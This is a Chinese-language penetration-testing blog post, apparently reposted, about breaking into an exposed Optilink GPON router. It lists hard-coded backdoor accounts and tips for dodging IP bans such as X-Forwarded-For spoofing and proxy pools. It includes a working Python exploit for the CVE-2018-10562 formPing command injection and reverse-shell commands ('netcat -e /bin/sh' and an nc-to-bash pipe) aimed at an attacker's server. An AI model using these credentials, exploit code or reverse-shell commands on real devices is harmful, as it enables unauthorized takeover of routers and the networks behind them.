渗透测试之简单操作 (文末有礼)

简介: 渗透测试之简单操作 (文末有礼)

前言


渗透测试一直是个看重经验的工作,有经验的一眼就能联想到很多漏洞,一顿操作,拿下服务器。没有经验的弟弟望着屏幕发呆,只能一步一步去积累,为以后的知识沉淀夯实基础。

这次就遇到了一个目标,差点只能盯着屏幕发呆了。

在某次渗透任务中,发现了一台对外开放的路由器。


他的Web界面长这样:


da241839c1e798f36190d7ff41b9a895_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


看到登陆框,弱口令,注入,命令执行,。。。一大堆可能存在的漏洞铺面而来。

这里老规矩,流量代理被动扫描一直开着的,当然并没有什么实质性的进展,所以只能手工了。

因为目标并不在云CDN,也没有Waf,更没有硬件防火墙。

所以像找真实IP,绕Waf这种麻烦的事情统统不要做。


开始


1.查历史漏洞


后门账号


先去谷歌搜索关键字,“Optilink 漏洞



该文中叙述了,开发者为该类型设备留了开发者账号后门。


login: suma123
password: panger123
login: debug
password: debug124
login: root
password: root126
login: guest
password: [empty]


命令执


381b46be698f95376d53c1c4db3418b0_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


可惜的是,该漏洞是后台管理界面的,前提是进入后台。


2.尝试弱口令


经过尝试,都未能成功登陆。



且发现失败三次,界面就锁定1分钟。幸好不是ban咱们的ip,不然我的代理池可能不够用了。


一般ip被ban有几种解决方案:

  • 家庭动态网络,重启路由器
  • 手机热点网络,重启手机网络
  • X-Forwarded-For伪造
  • 更换代理,挂代理池
  • 还有就是类似于白名单,比如阿里云的服务器攻击阿里云的服务器就不会被Ban


进入后台


当然了,上天总是眷顾帅气的人,随便试了一下,弱口令Get!

基本操作,发现登陆界面输入账号密码后有两种回显。


当用户名不存在时:

9ef34d75747361f728f562e19fb522d4_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


当用户名存在时:

55153991d54749a80909dec954988409_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


输入用户: admin  密码 : optilink

成功登陆后台


执行命令


与此同时,我们发现这就是CVE-2018-10562漏洞利用(gpon router),找来了一份exp

def execute_command(command,TARGET):
  url = TARGET+"/boaform/admin/formLogin"
  # 创建session
  request1 = requests.session()
  login = {"username":"e8c","psd":"e8c"}
  # 发送登录数据
  r = request1.post(url, headers=header(login), data=login, verify=False,timeout=10)
  url1 = TARGET+"/boaform/admin/formPing"
  print('----------------',url1)
  # 发送远程命令的执行
  command = "busybox"
  print(command)
  post_data = "target_addr=;"+command+"&waninf=1_INTERNET_R_VID_154"
  r1 = request1.post(url1,data=post_data, verify=False,timeout=10)
  print(r1.text.split("<pre>")[1].split("</pre>")[0])
  if 'bin' in r1.text.split("<pre>")[1].split("</pre>")[0] and 'var' in r1.text.split("<pre>")[1].split("</pre>")[0]:
    print('200')
    status = 200
    return status
  else:
    print(r1.status_code)
    return r1.status_code

f1ab0851536c0082342bdb425613d9bc_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


简单的修改了一下脚本利用。

import requests
def execute_command(command,TARGET):
  url = TARGET+"/boaform/admin/formLogin"
  # 创建session
  request1 = requests.session()
  login = {"username":"admin","psd":"optilink"}
  # 发送登录数据
  r = request1.post(url, data=login, verify=False,timeout=10)
  url1 = TARGET+"/boaform/admin/formPing"
  print('----------------',url1)
  # 发送远程命令的执行
  # command = "busybox"
  # print(command)
  post_data = "target_addr=;"+command+"&waninf=1_INTERNET_R_VID_154"
  r1 = request1.post(url1,data=post_data, verify=False,timeout=10)
  print(r1.text.split("<pre>")[1].split("</pre>")[0])
  if 'bin' in r1.text.split("<pre>")[1].split("</pre>")[0] and 'var' in r1.text.split("<pre>")[1].split("</pre>")[0]:
    print('200')
    status = 200
    return status
  else:
    print(r1.status_code)
    return r1.status_code
if __name__ == "__main__":
  execute_command('netcat -e /bin/sh xx.xx.xx.xx 1111','http://xx.xx.xx.xx')

经过尝试,脚本确实能利用,但是却不能反弹shell。而且因为网络原因,一直报超时。


2cf3e4fc74b0c915ced64cbd382ac9ea_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


成功的截图:


0e46bdbfc526e0610da69283227ad4f6_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


深入尝试


我们在python脚本中加上proxy参数,每个请求带上代理,将攻击流量转发到burpsuite进行分析。

import requests
proxy={'http': '127.0.0.1:8080'}
def execute_command(command,TARGET):
  url = TARGET+"/boaform/admin/formLogin"
  # 创建session
  request1 = requests.session()
  login = {"username":"admin","psd":"optilink"}
  # 发送登录数据
  r = request1.post(url, data=login, verify=False,timeout=10,proxies=proxy)
  url1 = TARGET+"/boaform/admin/formPing"
  print('----------------',url1)
  # 发送远程命令的执行
  # command = "busybox"
  # print(command)
  post_data = "target_addr=;"+command+"&waninf=1_INTERNET_R_VID_154"
  r1 = request1.post(url1,data=post_data, verify=False,timeout=10,proxies=proxy)
  print(r1.text.split("<pre>")[1].split("</pre>")[0])
  if 'bin' in r1.text.split("<pre>")[1].split("</pre>")[0] and 'var' in r1.text.split("<pre>")[1].split("</pre>")[0]:
    print('200')
    status = 200
    return status
  else:
    print(r1.status_code)
    return r1.status_code
if __name__ == "__main__":
  execute_command('netcat -e /bin/sh xx.xx.xx.xx 1111','http://xx.xx.xx.xx')

经过查看,发现有3条请求。



  • (请求1)用户名密码登陆
  • (请求2)命令注入
  • (请求3)读取回显命令

因为网络问题,且数据包请求回显的格式,用burp并不是那么舒服,这里我用Charles进行分析。


Charles抓包


设置代理端口8888:



浏览器设置同样的端口:


faf182a91b2fe61eee4cb462b4c687a8_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


跟burpsuite一样都是需要安装证书的,这里就不赘述了。

在后台发现,有2处可以触发命令注入,分别为红框标记处。


8b5e3a4c655fdd1cd8d9259e17039763_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


点击钢笔按钮,修改请求


f86521d8087b5ff0bade073dcf855df7_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

修改完成后,点击执行。

这里可以看到左边请求一直自动在刷新,浏览器也成功回显了结果。



这里Charles在表单修改后发包,会在请求包自动的加上url编码。



1f21b4fe783c5d6080cec1edab325340_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


linux服务器可以连接。


4914bcf019a636038439ad62b1bbaf23_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


但加上-e参数后却无法反弹shell。

在自己服务器开启两个NC进行监听端,其中一个作为输入,一个作为输出。


d5e9aa574820a124b75b80276edd5cd2_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


目标服务器执行:


nc xx.xx.xx.xx 1111 | /bin/bash | nc xx.xx.xx.xx 2222


事了拂衣去,深藏身与名。


相关文章
|
12月前
|
数据采集 安全 Java
渗透测试之常规操作
渗透测试之常规操作
|
Linux 网络安全 数据安全/隐私保护
渗透测试-CTF文件类型操作
渗透测试-CTF文件类型操作
渗透测试-CTF文件类型操作
|
8月前
|
安全 Linux 测试技术
如何使用Kali Linux进行渗透测试?
如何使用Kali Linux进行渗透测试?
269 0
|
4月前
|
网络协议 网络安全 Go
Kali下安装渗透测试常用工具dnsx和dirsearch
Kali下安装渗透测试常用工具dnsx和dirsearch
98 0
|
4月前
|
安全 Linux 测试技术
深入Kali Linux:高级渗透测试技术详解
深入Kali Linux:高级渗透测试技术详解
180 0
|
前端开发 Linux 网络安全
kali linux 网络渗透测试学习笔记(一)Nmap工具进行端口扫描
一.利用Nmap扫描网站服务器的端口开放情况首先打开我们的kali linux才做系统,再打开其命令行模式,输入:nmap www.csdn.net 如下图所示:   因此,通过这个结果可以表明csdn上的端口开放了80端口以及443端口吗,这两个端口都十分重要,因为80端口适用于给用户呈现出数据,给用户看网站用的,443端口也是一个比较重要的端口。
2174 0
|
数据采集 存储 Linux
2022-渗透测试-Kali Linux字典生成工具Cewl使用指南
2022-渗透测试-Kali Linux字典生成工具Cewl使用指南
2022-渗透测试-Kali Linux字典生成工具Cewl使用指南
|
Web App开发 Java 测试技术
kali linux 网络渗透测试学习笔记(三)社会工程学之Java攻击:钓鱼网站制作
一.进入kali linux系统的命令行模式 输入代码; ifconfig 查看获得本机IP地址为:192.168.43.227 然后输入代码:   setoolkit   出现以下界面:       在set后输入1. 二.开始重复输入数字代号 三.写入钓鱼网站的目标 正如下图所示,我们需要先输入本机的IP地址以及端口,之后输入钓鱼网站的网址,这里我们以百度为例,因此输入https://www.baidu.com。
2251 0
|
SQL 安全 Linux
kali linux 网络渗透测试学习笔记(二)OWASP ZAP工具扫描SQL injection漏洞失败
按照惯例,利用OWASP ZAP工具扫描SQL injection漏洞时,应该很快就可以扫描出来,但是在笔者进行扫描的时候,却遇到了以下状况: 这说明了该工具根本就没能够扫描出SQL注入的漏洞,不知道该如何解决。
2211 0